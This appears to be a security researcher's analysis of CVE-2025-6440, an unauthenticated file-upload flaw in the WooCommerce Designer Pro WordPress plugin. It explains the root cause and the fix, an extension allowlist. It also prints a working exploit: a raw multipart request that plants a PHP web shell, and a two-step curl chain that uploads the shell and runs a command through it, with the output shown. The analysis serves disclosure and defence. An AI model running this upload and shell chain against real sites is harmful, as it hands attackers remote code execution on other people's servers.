What the wire shows
WooCommerce Designer Pro is sold as a closed-source product on CodeCanyon by JMA Plugins. There is no public source repository to read. The mechanism for CVE-2025-6440 has to be inferred from the wire protocol that PoCs exercise. Three independent PoC repositories (sahmsec/CVE-2025-6440, Pwdnx1337/CVE-2025-6440, Nxploited/CVE-2025-6440) converge on the same shape of request, which is the strongest evidence available short of the source.
The exploit is a single multipart POST to /wp-admin/admin-ajax.php with three fields:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------X
Content-Disposition: form-data; name="params"
{"mode":"addtocart","uniq":"aaaa","editor":"frontend","designID":0,"productID":0,"addCMYK":false,"saveList":false,"productData":0,"files":[{"count":"0","name":"shell","ext":"php"}]}
------X
Content-Disposition: form-data; name="0"; filename="anything.png"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------X--
Three fields carry three pieces of information. action routes the request through WordPress's AJAX dispatcher to the plugin's handler. The multipart field named 0 carries the file's bytes, with a Content-Disposition: filename and a Content-Type that are arbitrary. params is a JSON document that the handler parses on the server side; among its fields is a files array whose entries describe each uploaded file by its multipart field name (count), basename (name), and extension (ext).
The destination on disk is composed from params. The file written to /wp-content/uploads/wcdp-uploads/temp/<params.uniq>/<params.files[0].name>.<params.files[0].ext> is the file uploaded under multipart field <params.files[0].count>. None of the three pieces of metadata that determine the destination filename are read from the multipart upload itself. The Content-Disposition: filename is not consulted. The Content-Type is not consulted. The bytes are written under the name the JSON specifies.
Across the three PoCs, the multipart Content-Type for a .php payload is set to text/plain in one and application/octet-stream in another. Both work. The chosen MIME does not affect the outcome because the handler does not look at it.
The destination directory is also a JSON field
The uniq field in the params blob is the per-upload subdirectory under wcdp-uploads/temp/. In all three PoCs, uniq is generated client-side, not read from the server's response:
# sahmsec/CVE-2025-6440.py
uniq = secrets.token_hex(5)
# ...
public = urljoin(uploads_url(base), f"wcdp-uploads/temp/{uniq}/{fname}")
# Pwdnx1337/CVE-2025-6440.py
uniq = secrets.token_hex(6)
# ...
public = urljoin(uploads_base(base), f"wcdp-uploads/temp/{uniq}/{name_on_upload}")
The Python code constructs the public URL of the uploaded file before sending the upload. That is only a valid construction if every component of the path is caller-controlled. Here, the directory (uniq) and the filename (name, ext) are all set by the JSON, and the JSON is in the request the attacker is about to send. There is no challenge-response in this protocol. The attacker writes the destination address on the envelope before mailing it.
The Nuclei template (CVE-2025-6440.yaml) ships an extractor that reads uniq back from the server's JSON response, but the field it reads is the field the request just sent. The server echoes the caller's uniq because the server stored the file at the path the caller named.
The exploit primitive
The complete chain to RCE is two requests:
# Pre-compute the destination URL. All three components are client-side.
UNIQ="$(openssl rand -hex 5)"; NAME="shell"; EXT="php"
URL="https://target.example/wp-content/uploads/wcdp-uploads/temp/$UNIQ/$NAME.$EXT"
# Upload. Multipart filename and MIME do not need to match the JSON.
curl -s -X POST "https://target.example/wp-admin/admin-ajax.php" \
-H "X-Requested-With: XMLHttpRequest" \
-F "action=wcdp_save_canvas_design_ajax" \
-F "params={\"mode\":\"addtocart\",\"uniq\":\"$UNIQ\",\"editor\":\"frontend\",\"designID\":0,\"productID\":0,\"addCMYK\":false,\"saveList\":false,\"productData\":0,\"files\":[{\"count\":\"0\",\"name\":\"$NAME\",\"ext\":\"$EXT\"}]}" \
-F "0=@/tmp/shell.php;filename=image.png;type=image/png"
# {"success":true,"data":{"uniq":"...","files":[...]}}
# Execute.
curl -s "$URL?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
No session cookie. No nonce. No Authorization header. The request lands on the unauthenticated branch of the WordPress AJAX dispatcher, the plugin's handler runs, the file lands at the path the caller named, and the path is under wp-content/uploads/, served by the same PHP interpreter that ran WordPress.
The endpoint must be unauthenticated
The Pricom theme that ships with this plugin is a print-on-demand storefront. The intended customer flow is: a guest visitor browses a product page, designs a custom T-shirt in the canvas editor, uploads their own artwork, and adds the result to the cart, all before they check out and create an account. The handler is built for that flow. Unauthenticated callers must be able to upload, or the storefront does not function. WordPress provides the wp_ajax_nopriv_<action> registration hook for exactly this case: it routes a named AJAX action to a handler when the caller has no session.
The action is observably reachable without a session, so the plugin must register both wp_ajax_wcdp_save_canvas_design_ajax and wp_ajax_nopriv_wcdp_save_canvas_design_ajax against the same handler. That registration is correct for the product. Removing the nopriv arm would break the customer experience the plugin exists to enable.
So the nopriv registration is not the bug. It is the design. The bug is what gates the endpoint after authentication has been removed from the contract. WCDP's only gate is the JSON params.files[i].ext field: the field that, by the plugin's own protocol, decides what extension the destination file gets. That field is the one thing standing between a customer's PNG and an attacker's PHP. It is in the request body. The attacker writes it.
The validation that every writeup says is missing
NVD: "missing file type validation." Wordfence: "lack of proper file type validation." ZeroPath: "No MIME type or file extension validation on server side."
Each of these descriptions implies the plugin failed to add a check it should have added. The protocol shows something more specific. The plugin did add a structured field for the destination file's extension. The field is in the request schema. It is named ext. The handler uses it to compose the filename written to disk. The reason none of the writeups mention the field is that it lives inside a JSON params blob the plugin treats as a generic frontend-to-backend settings dictionary, not as a security-sensitive input.
The validation logic the writeups assume should exist would have to assert that params.files[i].ext is in an allowlist of image extensions. That assertion is one line of PHP. The reason it is missing is that the developer treated the files schema as a passive contract describing what the frontend wants the backend to do, rather than as a security control. From the developer's perspective, the frontend is theirs. They wrote it. It only ever submits image extensions because their JavaScript only ever submits image extensions.
What the developer did not model is that the frontend is JavaScript running in the customer's browser, and the backend has no privileged channel to it. The contract is whatever the network sends. The files[].ext field is a security control by the location it occupies in the data flow, regardless of how the developer thought of it.
This is the variant of the unauth-write-to-execution-path pattern where the destination filename is sourced from a structured request body rather than from the multipart envelope. The same pattern produced CVE-2026-3891 in Pix for WooCommerce two months ago, where the filename was taken from the multipart Content-Disposition and run through sanitize_file_name (which does not strip .php). It produced CVE-2026-3844 in Breeze Cache one month ago, where the filename was taken from the URL of an attacker-controlled image fetch. Each of those handlers had a single sentence-of-code surface where a destination filename came in from outside the program and went out to disk without an extension allowlist. WCDP's surface is a JSON field instead of a multipart filename, but the architectural shape is identical: an unauthenticated trigger (correct, for a storefront), a write directory that overlaps the PHP execute path (wp-content/uploads/wcdp-uploads/temp/<uniq>/), and a destination-filename contract that does not validate extension.
What is distinctive about this one
The Pix and Breeze instances both took their destination filename from a place a defender reading upload code would think to look at. $_FILES['x']['name'] and the URL of an HTTP fetch are visible inputs. Audits of file-upload handlers check those.
WCDP took its destination filename from inside a JSON document. The JSON document is named params, which signals to a reader that it carries form configuration rather than file metadata. The destination filename is a field three levels deep: params -> files[0] -> ext. A grep for $_FILES in this codebase would not surface the bug. A grep for move_uploaded_file would surface the call site, but the parameter at the call site is built from the JSON, and the JSON parsing would be in a different function in a different file.
The plugin invented a parallel filename channel to pass canvas-design metadata between its frontend and backend. The parallel channel inherits the backend's trust in its own frontend without inheriting any of the multipart sanitization a normal upload pipeline would apply to $_FILES['name']. Whatever extension allowlist the developer would have written for $_FILES was never invoked here, because by the time the destination filename was assembled, $_FILES was no longer the source of the name.
The fix is a single allowlist check on params.files[i].ext before it is concatenated into the destination path. The shape that produced the bug is the same shape that has produced this class of CVE in WordPress plugins every month for as long as we have been tracking them. The handler accepts files because the storefront needs to. Whether what arrives is what the storefront promised is, every time, the question the handler does not ask.
PoC: sahmsec/CVE-2025-6440
The plugin asks for the file and the extension as separate fields. Whether they match is a question the handler leaves to the caller.